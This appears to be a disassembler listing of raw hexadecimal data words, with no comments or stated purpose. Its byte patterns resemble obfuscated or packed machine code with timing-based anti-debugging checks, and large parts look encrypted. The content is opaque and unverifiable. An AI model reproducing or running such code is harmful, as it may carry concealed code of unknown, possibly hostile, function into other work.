		dd 95BAAD9Fh, 648FD57Dh, 58Fh, 8D290000h, 6481741h, 0E904C483h
		dd 5, 0C30358B5h, 48E9618Ah, 50000001h,	54000000h, 58000000h
		dd 5C000000h, 60000000h, 64000000h, 68000000h, 6C000000h
		dd 0B0000000h, 0B4000000h, 0B8000000h, 0BC000000h, 0C0000000h
		dd 0C4000000h, 0C8000000h, 0CC000000h, 0D0000000h, 0D4000000h
		dd 0D8000000h, 0DC000000h, 0E0000000h, 0E4000000h, 0E8000000h
		dd 0EC000000h, 38h dup(0)
		dd 2F000000h, 0EB00572Ch, 8D009F50h, 4B971285h,	0F6BF0F06h
		dd 98528589h, 958B064Bh, 6480535h, 0FF985C6h, 8B540648h
		dd 480BA98Dh, 0BDBD0306h, 0E806482Eh, 4, 0EE626829h, 1F61BB66h
		dd 8BCF8B50h, 0E8042444h, 8, 6A20EC03h,	0DB4D9DA9h, 7E9h
		dd 0AB67F700h, 0D3883301h, 50008B5Eh, 14E852h, 9DB50000h
		dd 7A0C94E1h, 6E7BE347h, 0DF2FF589h, 10595475h,	840FFEDBh
		dd 0
		dd 50310F5Bh, 50310F52h, 5A310F52h, 5A585A58h, 24448958h
		dd 0ECB75704h, 8B665859h, 0A9B5FFFBh, 89064829h, 480B9D85h
		dd 60858D06h, 8B064B7Fh, 4809419Dh, 66D0FF06h, 0BA00C781h
		dd 98568589h, 0DE9064Bh, 49000000h, 58B62436h, 7EF89CCAh
		dd 0E38BB472h, 4CE9h, 0B9B50100h, 8B064832h, 4811DD9Dh
		dd 0B58B5606h, 64B9852h, 85830689h, 64B9852h, 60C35E04h
		dd 9712B58Dh, 0FEB064Bh, 0FF006A56h, 5695FF36h,	5E064B98h
		dd 8304C683h, 0EC75003Eh, 8F0FC361h, 6,	32F1958Bh, 0C9800648h
		dd 4A858D49h, 53064B99h, 6659D68Bh, 89E6DFBEh, 48099585h
		dd 0E5E906h, 4D100000h,	71DCFFEEh, 0A1D1F32h, 8FDD7A0Eh
		dd 6D373353h, 3D557D2Fh, 0D57F2D77h, 577DD77Dh,	0DF6DF73Dh
		dd 0D773D575h, 0F73D577Dh, 75D55FEDh, 6D373353h, 3D557D2Fh
		dd 0D57F2D77h, 577DD77Dh, 0DF6D171Eh, 20602075h, 0E0202060h
		dd 0AC2060E0h, 0A9F77B68h, 0D020A1E4h, 0EDA693B2h, 91B99DB7h
		dd 20ACA3F2h, 20602060h, 0E0202060h, 752060E0h,	0D0A3353h
		dd 20557D2Fh, 20602060h, 2BA72860h, 0D650F036h,	0EFB6F360h
		dd 0E0F796A1h, 0B8E3A7B4h, 0B3F47192h, 0F76DB9E9h, 2 dup(20602060h)
		dd 0DF6DF720h, 0D773351Ah, 0F73D577Dh, 75D55FEDh, 6D373353h
		dd 3D557D2Fh, 0D57F2D77h, 577DD77Dh, 0DF6DF73Dh, 0D773D575h
		dd 0F73D577Dh, 75D55FEDh, 6D373353h, 1E357D2Fh,	0A8000E0Ah
		dd 54A766C1h, 0FA43F2FDh, 0E975A9CCh, 0C2Eh, 4B9C9A68h
		dd 0E3EFE906h, 0A568FFFCh, 0E9064B9Dh, 0FFFCE3E5h, 4B9E7D68h
		dd 0E3DBE906h, 6668FFFCh, 0E9064B9Fh, 0FFFCE3D1h, 4B9FDB68h
		dd 0E3C7E906h, 6F68FFFCh, 0E9064BA0h, 0FFFCE3BDh, 4BA19C68h
		dd 0E3B3E906h, 0A768FFFCh, 0E9064BA2h, 0FFFCE3A9h, 4BA39268h
		dd 0E39FE906h, 5468FFFCh, 0E9064BA4h, 0FFFCE395h, 4BA51368h
		dd 0E38BE906h, 0C56CFFFCh, 70F2AECAh, 0E47B1775h, 670F9BF9h
		dd 16920E6Ah, 5527113h,	0D0B0B13Dh, 452722C4h, 0CFADAC49h
		dd 375550D3h, 0F3B5099Ch, 0C17C6FCCh, 0FE85A47Fh, 68FE8AFBh
		dd 0AE250C7Dh, 0FC839712h, 90CA60E1h, 6762012Bh, 0C08AB505h
		dd 3EC87955h, 7B047C6Ch, 0FEF57E0Ah, 667D0692h,	3DFCB909h
		dd 48227C6Ch, 2FB04C93h, 8C224330h, 60670Ch, 7DE8EF94h
		dd 33405DE3h, 42C3DE61h, 36BDCFECh, 993C4233h, 0C313B5E0h
		dd 7BD35311h, 0AD569A41h, 0A6DBCAD6h, 0E384EF55h, 9D1697E4h
		dd 0D066F666h, 0A9AF47BCh, 50E9DDBh, 85060000h,	0BB4AE8FEh
		dd 7573B945h, 49F677DFh, 0CCCB6838h, 29F3CCACh,	0FD3DE0BEh
		dd 0CEA97C6Ch, 7F4FE6B1h, 7C6CDD39h, 0CC68F887h, 2D7765CDh
		dd 247C6CDDh, 28D3F5AAh, 0F2DBA9B8h, 39h, 53A241DBh, 54544220h
		dd 0BF1794B6h, 0CF7EB924h, 36A12E23h, 6C405158h, 65129D7Ch
		dd 6C3F8FD5h, 5308BA7Ch, 0A9038E75h, 10154DBh, 0A63D0000h
		dd 6C3390C8h, 0FB535C7Ch, 0E8FE85E8h, 7F3C4D4Ch, 5AF681FEh
		dd 0B9FFCFC4h, 7762432h, 0ED8AFB78h, 2829D545h,	0AFAA495Bh
		dd 403A438h, 0F07301AEh, 0A5033101h, 24C78FC9h,	21525D76h
		dd 0A223A9A1h, 253D08C6h, 0EA897625h, 92118DEFh, 8DB6E697h
		dd 0F70658CFh, 337C6D49h, 47D1474h, 753CCCF8h, 0FDF7708h
		dd 0AFFF9634h, 82B76649h, 0E67DE897h, 368F5ADh,	0E01CF8D8h
		dd 0CD251476h, 9026A7h,	0B9F26564h, 0EF0AE5EEh,	4959F1B9h
		dd 6DD0D15Dh, 12A2DD06h, 8CDF4FC0h, 1F000009h, 0ADF99B96h
		dd 2A660207h, 0BEEAB695h, 4D593B36h, 0A3C0A0A1h, 4B4EEAD2h
		dd 0FEEB7D29h, 647B0692h, 0ECEB8804h, 0EEC0D78Ch, 7C6FCEAAh
		dd 85F79036h, 0D66DF8F9h, 2432C0F8h, 0D395E976h, 0E1762432h
		dd 258DEA86h, 6F6A0985h, 0A1FD940Dh, 762432E7h,	32FABE10h
		dd 0B9C67624h, 95DBACCBh, 0B5AFA3F1h, 0B90E9931h, 7549DC7Eh
		dd 7C6C4064h, 2886F7B0h, 7C6C3F6Ch, 69B46BE7h, 245530D7h
		dd 24DFEF47h, 0FEDBA903h, 0D4h,	0FBFE8525h, 8B72FE8Ah
		dd 44A4A890h, 7C3C9209h, 487624C1h, 5021AE2Fh, 24C5B382h
		dd 797C0776h, 0C3D752EEh, 5253203Dh, 6FC7A4D5h,	0B9BC4753h
		dd 8323BDC8h, 20B0F18Eh, 522A809Fh, 9D34A369h, 27777C03h
		dd 7624BE61h, 2B83006Fh, 6CE8A0ADh, 593B447Ch, 11844671h
		dd 0B7794ABDh, 86119E82h, 0DCD55DEFh, 1B1E9A76h, 0DF99F58Ch
		dd 0ED762636h, 9C2C82h,	3FDA6564h, 7912A3B7h, 8810886h
		dd 81200000h, 0CB6E28Eh, 0A83F6B09h, 23C3DFBDh,	0AA56422Eh
		dd 0C9AEB5D7h, 147475F1h, 99FBE678h, 361600Dh, 8BE9EC97h
		dd 0AFE9C5D8h, 3D7C6FCFh, 0F985F8ABh, 0D5D052EEh, 0D197C7A4h
		dd 1F762432h, 6D6F264h,	0C3403F80h, 0C96A2642h,	65F7AECAh
		dd 5073DBDEh, 6CFBFE85h, 774750D0h, 76243331h, 273F0BFh
		dd 7550F765h, 0A0CF6704h, 345453D0h, 3C079F04h,	0D375079Eh
		dd 0D9B560F6h, 7C6C4294h, 842FC1D0h, 4197D181h,	38C57C6Ch
		dd 0AF2C4B39h, 0B5FB934Dh, 73287B34h, 7AC0A9B4h, 8E44A68h
		dd 0A4FA6D2Fh, 74EC8B89h, 6B25525Dh, 431B8A50h,	7B37B861h
		dd 3E35BE52h, 0FB8C1898h, 37075FFh, 0D077E562h,	4FE174F5h
		dd 0D7C3A1A4h, 7996292Ch, 4F1A2242h, 7A922D0h, 79F80000h
		dd 0E48E1A66h, 701783E1h, 1B9BF795h, 822E7A06h,	0F1C6ED8Fh
		dd 4C2C2DC9h, 0B1D3CE50h, 3B5958E5h, 0A3C1C46Fh, 87C19D30h
		dd 557C6FD0h, 0FE8510F3h, 10376CFBh, 0F1C92478h, 4804B31Bh
		dd 643AAD6Fh, 7C6CEDD5h, 5A1E7001h, 667C6CE4h, 90F89819h
		dd 0DB59F3A7h, 0E4C880DEh, 9DF17C6Ch, 7C6CE4DBh, 0B5F28EE9h
		dd 620FA134h, 39911E6Fh, 7FAC025Ch, 0A0FC82B8h,	15800100h
		dd 9FFDF87Bh, 0CDC86A06h, 180EB565h, 8CED9A9Dh,	251E7E0Fh
		dd 679EF067h, 967C72F4h, 0D7A79FAh, 0CDAAC66Ch,	8A29C35Ah
		dd 0C86B278Fh, 0E3C583DBh, 94137C6Ch, 5BEC8017h, 0E77E3F4Ch
		dd 6CE3D197h, 3A901F7Ch, 7271F2AEh, 54DE7205h, 1A25F951h
		dd 0B74EE570h, 6CE3A1E7h, 0EA402F7Ch, 0B51449ECh, 0AB129D82h
		dd 12A53AAAh, 0C073E39Ch, 0E3000006h, 712D4F42h, 0FEAAF6F3h
		dd 821E7A69h, 118DEFE2h, 0EFF49495h, 3F32BE86h,	0A2BF415Dh
		dd 282FCAC6h, 0D0D75C48h, 328C23B0h, 7C6FD176h,	0B92BFC42h
		dd 0B749DC7Eh, 27443510h, 85A8068Fh, 617C6FCCh,	64F88F06h
		dd 0DAB6C7C2h, 70C6475Ah, 910403A0h, 675D5118h,	0B911D8CFh
		dd 0F3F67D29h, 2BF1CA82h, 657E2BCh, 0E48382B8h,	0A210A259h
		dd 6B1B9412h, 64Bh, 0B8D8D75Eh,	214346ECh, 95F7D275h, 187879F9h
		dd 83E1E08Ch, 8F2B1360h, 2CB2EE8Ah, 0BA475331h,	2AC9C5A7h
		dd 0FF964D2Fh, 6FD1E9AFh, 0B651F77Ch, 49DC7EB9h, 6FCD9975h
		dd 1580EF7Ch, 9FFDF87Bh, 14656003h, 4ADD7FB8h, 0BB66C174h
		dd 66BBF082h, 87219207h, 6F0BA3h, 7D78FB95h, 4FEA861Fh
		dd 0ABA98DBCh, 0D4558193h, 0CABBBE44h, 0EE9505ADh, 0D7A7DF8h
		dd 3E9EEF6Ch, 0FED04705h, 7C6C7957h, 412FD7A3h,	0A522A3BEh
		dd 5D94E71Ah, 0B02EE10Ch, 5B7h,	14744BEAh, 9DFFFA78h, 1637E01h
		dd 7414ED95h, 0FF9D9C18h, 3BC7FFD4h, 0B84E5A26h, 56D3CFADh
		dd 0DE653153h, 932AB9DBh, 6FD27D3Bh, 12F54B7Ch,	6CFBFE85h
		dd 0BABF3BD5h, 0BAFEACCDh, 6762432h, 0D6A2D179h, 5B4A562Dh
		dd 883422C1h, 3ABBF889h, 36862C4Dh, 0DCCB5C0Dh,	7831C85Fh
		dd 0A44F6D8Ch, 0A6D3D0A1h, 41E39AF0h
		dd 616FC744h, 7C6D42BCh, 0A03E4F28h, 7C6D21E4h,	180CF36Fh
		dd 0DBA9FDE3h, 5D54DC70h, 67E74F2Ch, 36h, 95E980BCh, 762432D3h
		dd 5C3086E1h, 922EB963h, 360110Ch, 594EAABh, 347C6C40h
		dd 0B2180798h, 0BA087906h, 7C6C3FFAh, 0E26E551h, 0DBA90315h
		dd 0B1CFh, 0FE855400h, 72FE8AFBh, 0F1720E7Fh, 4CF785F2h
		dd 0E8BD2B49h, 0DC762436h, 64305057h, 0E5ABD8DFh, 0C9A530DAh
		dd 7C6C6584h, 0D5A5C7A0h, 7214D4EAh, 542520C7h,	0D95E2257h
		dd 0DF76E16Eh, 0E6B8BB4Dh, 7C6CF0A2h, 0B3C0412Eh, 17E5CF2h
		dd 4982B796h, 4D226638h, 0C1AE7626h, 0BF3BD540h, 26C2DEBAh
		dd 0A14B9C23h, 0B26D12A3h, 48A04h, 99981900h, 5AFFBh, 0B4933460h
		dd 3938B8D4h, 0AEA34F5Bh, 0E8D0A1C2h, 732F4D4Ch, 490F0EDh
		dd 8E1A6679h, 0D182EEE5h, 0D3A8E0BEh, 92347C6Fh, 0F8F985F1h
		dd 94670C98h, 2ABD271Eh, 54214E3Fh, 1091874Fh, 7EB9D370h
		dd 647549DCh, 0B07C6C40h, 3FCB8DE1h, 9E197C6Ch,	92D26011h
		dd 0C67C6C3Fh, 4557243Bh, 5CC9A6A3h, 2025D30Fh,	0B169A02Bh
		dd 6ED835CAh, 56D26EB1h, 0ED452253h, 0A9632AD1h, 8127B9DBh
		dd 9142F784h, 9C55A793h, 9C401697h, 0BAh, 0FBFE8507h, 7F72FE8Ah
		dd 36E5B00Eh, 52D17624h, 5529C057h, 76243613h, 5070C6A1h
		dd 0CBB8BF44h, 336C25BCh, 0F01B41C1h, 0DABBFDADh, 7D097624h
		dd 0D77FFCF5h, 0A86A3C07h, 0F7FBCC73h, 85D94CCDh, 7C6D02B8h
		dd 7F3995ECh, 4D7C6CC1h, 37B4B531h, 21BBEAB6h, 0B5F2839Eh
		dd 0D476411Dh, 63936D41h, 0D6D182B7h, 1AD3Fh, 89883460h
		dd 0A38CD736h, 0B02EE112h, 37Fh, 0EC8C8322h, 553732B0h
		dd 0D9BBA639h, 4C2C25CDh, 0B7D5D450h, 73FFC7ACh, 0E086127Eh
		dd 6E0B87E5h, 169D096Bh, 0CBE27113h, 6FD4B5F3h,	0EABD037Ch
		dd 6DF8F985h, 0AC508834h, 8A2044A0h, 201A2FEh, 0FE85DD66h
		dd 0EC63C80Fh, 0B33054B0h, 360DB6C2h, 1EA13B6Ah, 0DE939AF7h
		dd 0EF6C575Ch, 0E683119Eh, 30934BE3h, 76E1AB94h, 6C825518h
		dd 18E2917Ch, 23575CEDh, 47DE869h, 0D58CBC68h, 8F621771h
		dd 7449A520h, 0B917339Bh, 20A1CDA3h, 4DD882BDh,	0A73530B3h
		dd 0E3B2181Dh, 0E98C868Bh, 0B4C5A21Eh, 0AA3DDFD8h, 5EE07C13h
		dd 87551343h, 17631A59h, 87E49570h, 0C222B006h,	0F320A506h
		dd 77DFDA59h, 12A93C7Bh, 3A65FE99h, 0EA7EBB3Ah,	0AD89FAB2h
		dd 8C9B2C4Dh, 9931BEFFh, 1D7F7AF9h, 58E7E281h, 7027718Bh
		dd 9454C2BDh, 17000002h, 0A5F1936Eh, 227E1A1Fh,	0B6E28E9Dh
		dd 4551330Eh, 0BBD8B8B9h, 4346E2DAh, 0F6D37521h, 7C73FEAAh
		dd 0E4E3801Ch, 0E6B8CF84h, 7C6FD5A2h, 850F982Eh, 0C28AFBFEh
		dd 0EAC453F9h, 7C6C487Fh, 0ECEC8CEBh, 0FAA09B3Bh, 574A136Bh
		dd 0E47B82B4h, 244CCE8Ah, 359D1A76h, 401EFA85h,	32B2BC00h
		dd 0BB13C7F0h, 32B2A6FDh, 0B82FACCBh, 0FAD047E6h, 29CA6638h
		dd 2B5C5D2Ah, 0F8EC3EC8h, 5662C8E5h, 4B745829h,	0EC9D1681h
		dd 0BB550847h, 0BF563F97h, 7975802Dh, 251BF2Eh,	17651293h
		dd 0BE149570h, 3647B410h, 704EE537h, 32B21C38h,	2753FB84h
		dd 0B033CD58h, 38BBD7B5h, 0D237823Dh, 8E015617h, 1D210h
		dd 5150D100h, 0D8DD6733h, 4C5BECB8h, 0F1F0702Ch, 667B0793h
		dd 0A098F91Ah, 2B670504h, 0BCE88895h, 46523E31h, 9DAA6BDh
		dd 0D6601876h, 0DA6C7C6Fh, 95E98049h, 762432D3h, 603086E1h
		dd 0D9B7C4C3h, 0D5A93CDEh, 7C6C4E78h, 89C1A3CCh, 10BA8521h
		dd 4855EB85h, 125B33E2h, 0B382B45Eh, 79123BFEh,	9B3335B1h
		dd 0E670901Fh, 2F178102h, 74E3A992h, 5EEA031Ah,	2DB8C735h
		dd 0BA100D93h, 0A268533Dh, 53E79C33h, 6E9461D0h, 0D16A0FA0h
		dd 0BA392AA4h, 0FE8F822Eh, 59BB19B1h, 0AF3B2A11h, 38BB55C0h
		dd 0F18E852Eh, 8A433B0h, 68FE6A6Dh, 0C76F0C7Dh,	4144EFBBh
		dd 0B49B11FEh, 0CA783759h, 113h, 7010EF96h, 0F99B9E24h
		dd 6D0F1AADh, 0D0B0B131h, 5B3938C4h, 0C7635B38h, 54EAA6C2h
		dd 0F27F2B49h, 62019DFFh, 374E0567h, 6FD82167h,	8E19AF7Ch
		dd 4BC80B80h, 8BEB8ECh,	0B87C19Dh, 2A557625h, 7B6F1484h
		dd 0EB88F9E4h, 88B31D6Ah, 267B53C2h, 627C6D12h,	0EFDBB13h
		dd 68CC7C6Dh, 0A20C8CD1h, 42C3ACDCh, 0BC6D5626h, 23403130h
		dd 59C33A2h, 6D28EFA9h,	1CB2FD7Ch, 0B8C368BEh, 86F7B082h
		dd 0DB4A49EAh, 10A6A341h, 989F2470h, 9355BEBh, 0D153EA0Ah
		dd 29D5A7D4h, 0A74091DCh, 56D7CF15h, 0B06F4159h, 5FAB07Bh
		dd 0E5B0A1DAh, 443084C4h, 828122EEh, 24D59E13h,	0C63806E3h
		dd 48415070h, 0E7A23396h, 0A14C0D1Eh, 6B365968h, 2FD444EAh
		dd 0A9495B28h, 0BE3CDBA8h, 9D981BC1h, 0A72A910Ah, 0F6D4F64Eh
		dd 0AF544060h, 0F5A8E0BEh, 4B34EA05h, 56EABDCAh, 0BF41D3AEh
		dd 146E0CA2h, 17000000h, 6EFAFF85h, 0FDBACBC6h,	0EC803255h
		dd 73304140h, 8510FBDBh, 494E5FCh, 790B787Fh, 0FC8CFDFCh
		dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h
		dd 0B9BFCCC9h, 81E38953h, 4C3h,	4EB8300h, 8B241C87h, 0F5682424h
		dd 8900002Eh, 0EC832434h, 24048904h, 4B9AE968h,	24348B06h
		dd 8304C483h, 248904ECh, 24048124h, 4, 4B8F6858h, 3C890000h
		dd 89F78924h, 0FF5F0878h, 83582434h, 34FF04C4h,	0C4815E24h
		dd 4, 0FCD7CCE9h, 4BB85CFFh, 3064BA6h, 0E8E0FFC5h, 0DF58D2C7h
		dd 3417DC2Eh, 0F72FE842h, 0C93335A2h, 34676F77h, 92510C0h
		dd 314C425Ch, 8C2DAA85h, 0B3126CA0h, 7B7134EEh,	9E79A509h
		dd 5E63D854h, 0E816A50Dh, 0Fh, 826F7347h, 348DC415h, 36D7FF2Dh
		dd 0B76BBEEAh, 810F5A87h, 1, 55C281FCh,	66000064h, 0C3C6DB81h
		dd 0BE66C92Bh, 48BEF38h, 0EF81660Ah, 0E8817B98h, 78172A1Bh
		dd 34DF8166h, 18C081ECh, 666BABB2h, 0F081F88Bh,	4A395FDEh
		dd 11840Fh, 0CE90000h, 1A000000h, 2E343835h, 0BF8A0AD4h
		dd 5004E432h, 48FF08Bh,	0CF81F90Ah, 14B6D59Ch, 6004E983h
		dd 5E5F5153h, 0E800Fh, 8E80000h, 7C000000h, 8CB5ACFFh
		dd 5A5231F7h, 44F98161h, 0FFFFF9Ch, 0FFFF9185h,	0C7BB66FFh
		dd 75E96Fh, 66600000h, 4A8D88Ch, 35840Fh, 16A0000h, 0ED5B5FFh
		dd 858D0648h, 64B7F60h,	8589D0FFh, 6481B95h, 0EFC1FE8Bh
		dd 680Ch, 6A2004h, 6857026Ah, 1000Dh, 1B9595FFh, 32E90648h
		dd 0C6000000h, 480FF985h, 0DF685606h, 0FFA9C530h, 4829A9B5h
		dd 60858D06h, 0FF064B7Fh, 0D8589D0h, 8D06480Ch,	48093D85h
		dd 206A5006h, 0FF56056Ah, 480C0D95h, 0C1C36106h, 4BEB06E0h
		dd 2F0E0910h, 4B1AC53Ch, 1CA4ACDAh, 5C5CD2D4h, 34CE00E4h
		dd 0CE1BF531h, 0D129B327h, 0C7DD5B34h, 0CE17E62Ah, 6734DF1Bh
		dd 6700A6DBh, 1A00461Bh, 0D5A3EAh, 9C000000h, 0FEC819h
		dd 0FBFE4800h, 28000000h, 0D427E641h, 0E9C3727Dh, 0DD8h
		dd 7D9523FCh, 83064827h, 4830E5BDh, 850F0006h, 62h, 77D1BB66h
		dd 2AF5958Bh, 0B80648h,	6A000000h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1A042444h, 40000000h, 40DEC350h
		dd 530F0D18h, 0B19D8B2Bh, 81064815h, 27BC90F2h,	4C21Fh
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 0B1C35040h
		dd 0D281665Dh, 0C08BF342h, 1B459589h, 0BD830648h
		dd 6481299h, 83097500h,	480D35BDh, 13740006h, 0C08B5350h
		dd 4D0B8h, 389D8D00h, 0FF064AA2h, 83585BD3h, 480D35BDh
		dd 11740006h, 0D0B85350h, 8D000004h, 4AA1859Dh,	5BD3FF06h
		dd 0C8B70F58h, 19B58950h, 5B06480Eh, 8DF5C08Bh,	4BA84A85h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 1707BDA4h, 7D9D8B98h, 8B064814h,	48139595h
		dd 0BA605006h, 3564236Fh, 8E857h, 16760000h, 9C2F5C88h
		dd 5B595C2Fh, 24048961h, 0E853006Ah, 3,	5BC35B20h, 4245C89h
		dd 4244481h, 1Ah, 0A2C35343h, 9FA25DA4h, 0D2812F29h, 574376EAh
		dd 0CE9h, 57B22200h, 0A5EE4105h, 0FBA3FA0h, 7858D46h, 53064BA8h
		dd 10DD8D8Bh, 905B0648h, 0B650DA8Bh, 6A90A8h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 140424h, 56460000h, 0B58954C3h
		dd 6481435h, 30A195FFh,	6A0648h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1D0424h, 50400000h, 75FE27C3h, 57C8762Dh
		dd 330B0BBBh, 482FB9BDh, 0EE906h, 0A1480000h, 13E7D8F0h
		dd 76F2432Ah, 0E37B8607h, 424448Bh, 0FE8h, 0EC7C9200h
		dd 0F23BEF6Bh, 8AB59AFEh, 0AF95FCD0h, 1EE5958Bh, 895F0648h
		dd 4BA83285h, 24448B06h, 0D38B6608h, 0A8468589h, 9D8B064Bh
		dd 64822F9h, 615BD83h, 0F000648h, 0AE85h, 12E900h, 214A0000h
		dd 0A73BE290h, 265962F7h, 72D2F3h, 8819F784h, 6840Fh, 0B5890000h
		dd 64832DDh, 0FF985C6h,	80470648h, 4E8ECDEh, 0D2000000h
		dd 8BD49AA7h, 525050D3h, 5250310Fh, 310F6160h, 0E78358B9h
		dd 5A585A28h, 24448B58h, 0DE8B6604h, 0BA66008Bh, 44896CA4h
		dd 0F580424h, 68Eh, 75BD2300h, 0FF064830h, 4829A9B5h, 8BC9B306h
		dd 482AB995h, 60858D06h, 0F064B7Fh, 68Ch, 9D9D8B00h, 0FF06482Bh
		dd 68E0FD0h, 8B000000h,	481CCDBDh, 15858906h, 60064806h
		dd 6850Fh, 0B5290000h, 6480D61h, 8361C28Bh, 48091DBDh
		dd 850F0006h, 148h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ah, 86C35141h, 93E091CEh,	0F98A1AC3h, 0FF985C6h
		dd 6A470648h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 16042444h, 40000000h, 37DCC350h, 0D2CA814Bh,	0E8035232h
		dd 4, 8A0FB5E2h, 0AC94BF66h, 0B5525050h, 8A310F04h, 8B585ADAh
		dd 0B7042444h, 0E9008BF4h, 5, 0E70C8FC9h, 244489D7h, 0F525004h
		dd 8D0F5131h, 0
		dd 58585A5Bh, 2E799589h, 0B5FF0648h, 64829A9h, 12E8h, 49F8ED00h
		dd 7D596BB6h, 334212F1h, 0EAEE2C03h, 0E8042086h, 0Fh, 0C772C3EBh
		dd 210AA99h, 89118BD2h,	2998F8E6h, 4818518Dh, 56595A06h
		dd 0A058D8Bh, 8D5B0648h, 4B7F6085h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1504h,	0C3554500h, 11E878A9h
		dd 0F1000000h, 2F1FCF63h, 35496959h, 26C94935h,	0A01AC8E3h
		dd 5AACB250h, 6AD0FF5Fh, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1D042444h, 45000000h, 1C32C355h, 9AE9A691h
		dd 2AF8F8C6h, 9719D89h,	85890648h, 648091Dh, 0D18B66F8h
		dd 0AF5BD83h, 0F000648h, 12485h, 52006A00h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 0F43D9DD9h
		dd 9B258D47h, 30A58D29h, 85C60648h, 6480FF9h, 0DF815156h
		dd 306AD853h, 4E85Fh, 6D390000h, 8B66D41Fh, 0F88B50DEh
		dd 424448Bh, 0AE9h, 9BDC4200h, 0BE0F2242h, 8BB73336h, 0C1BF6600h
		dd 2444897Dh, 8E804h, 4B920000h, 0BDD5BB69h, 0E956700Eh
		dd 6, 9DB129F9h, 5B5B69C5h, 51006A58h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0D33BBEBAh
		dd 8960D564h, 480F21BDh, 0C0C38106h, 0FF5C7B05h, 4829A9B5h
		dd 0F1858906h, 6606481Bh, 8DC0B4BBh, 4B7F6085h,	8850F06h
		dd 60000000h, 0F28166F5h, 0FF612E11h, 659589D0h, 8B064800h
		dd 0F58589F9h, 6A06480Ah, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1C042444h, 40000000h, 7B3BC350h, 77EC8846h
		dd 1D57B40h, 4811BD85h,	13E906h, 41F0000h, 8D060F7Ah, 5387EB6Eh
		dd 0E418F163h, 3E8E456Ah, 0F985C650h, 6C06480Fh, 4968CC8Ah
		dd 60A933F9h, 5ED38B51h, 24348161h, 723689CAh, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 66C35747h, 2820F60h
		dd 0B6000000h, 8E0FD1h,	61000000h, 89DA8B66h, 4832A1B5h
		dd 0D5B5FF06h, 0E906480Eh, 8, 1289C5FDh, 48FE304Ah, 38BA858Dh
		dd 6A0648h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 180424h
		dd 55450000h, 769463C3h, 9D89D6A1h, 64810C5h, 6AD0FFh
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 170424h, 53430000h
		dd 74B6D8C3h, 758D8B37h, 0F064811h, 8589D3BFh, 64BA836h
		dd 6AFB8B66h, 50006A04h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1804h, 0C3504000h, 6DED502Ah, 0C18D8977h, 0E9064828h
		dd 14h,	178BE8CEh, 4ABF12FCh, 0C04FBCBBh, 94207635h, 0C74650FDh
		dd 598C3968h, 28D0F6Ch,	8A000000h, 243481F8h, 6C599C39h
		dd 6E8h, 0B408D700h, 0FCFDB109h, 4E85Ah, 0
		dd 0EBA0001h, 505DEEF4h, 0EE960h, 7F0F0000h, 0FF0B7F88h
		dd 14721E65h, 0E1FEFB75h, 8B61F08Ah, 0B3042444h, 66008B2Fh
		dd 4489CA8Bh, 8D0F0424h, 4, 5F616057h, 0DA8B5258h, 6AF959h
		dd 0FFD68B66h, 482ACD95h, 0C9816606h, 8589E796h, 64BA842h
		dd 6A4DB3h, 0FB5F180h, 287h, 6894B300h,	599BFD7Dh, 8CCCBB66h
		dd 7D243481h, 6A599AFDh, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 17042444h, 42000000h, 0F583C352h,	9D8BFCE1h
		dd 6482401h, 9589D88Bh,	6482801h, 0CE950h, 0B07F0000h
		dd 19E744Fh, 9C788CA8h,	4894C06h, 0E90B6A24h, 13h, 0A9FF9FC8h
		dd 3A265E98h, 17B47E62h, 0C8CC9F5Fh, 8DF4BE5Dh,	4BA80F85h
		dd 6E806h, 0D7390000h, 68B08280h, 8FD8529h, 505A0648h
		dd 12E8h, 0DB6C5600h, 0CA28B11Ah, 0AE1985CCh, 18160696h
		dd 599BE513h, 6A240489h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 18042444h, 43000000h, 9198C353h, 66EE450Ah
		dd 0E381D98Bh, 572A3F74h, 61595FFh, 2B600648h, 482ECD95h
		dd 91958B06h, 61064817h, 0A819B58Dh, 9589064Bh,	6481BADh
		dd 10E850h, 212E0000h, 6417038Ch, 1720AF19h, 0D6C09A3Bh
		dd 0FB8B0598h, 2434895Ah, 2ED99D8Bh, 8B500648h,	240489DAh
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 18h, 12C35242h
		dd 300CAA4Dh, 11A98D8Bh, 95FF0648h, 648091Dh, 0FFCEB70Fh
		dd 799589D0h, 8B064832h, 4BA842B5h, 55006A06h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1D04h,	0C3554500h, 6AE1DB69h
		dd 1CFE9CD0h, 8D8B4FBDh, 6481025h, 1C899D8Bh, 85C70648h
		dd 64BA83Ah, 0
aFQa		db 'f¿³q€~ ',0
		dd 300840Fh, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 140424h, 53430000h, 0F560C0C3h, 0F520468Dh, 0A83E8589h
		dd 0D38B064Bh, 24E9h, 6A4000h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 160424h, 53430000h, 0D82A26C3h, 0D2F28166h
		dd 3880FCh, 0FFD3850Fh,	6AFFFFh, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0C24FEEC3h, 0FC27411Ch
		dd 0B3C5482h, 4832C18Dh, 18D8906h, 0E9064814h, 2Ch, 9D89D98Bh
		dd 6482BF5h, 51006A48h,	3E8h, 0C3592000h, 244C8959h, 24448104h
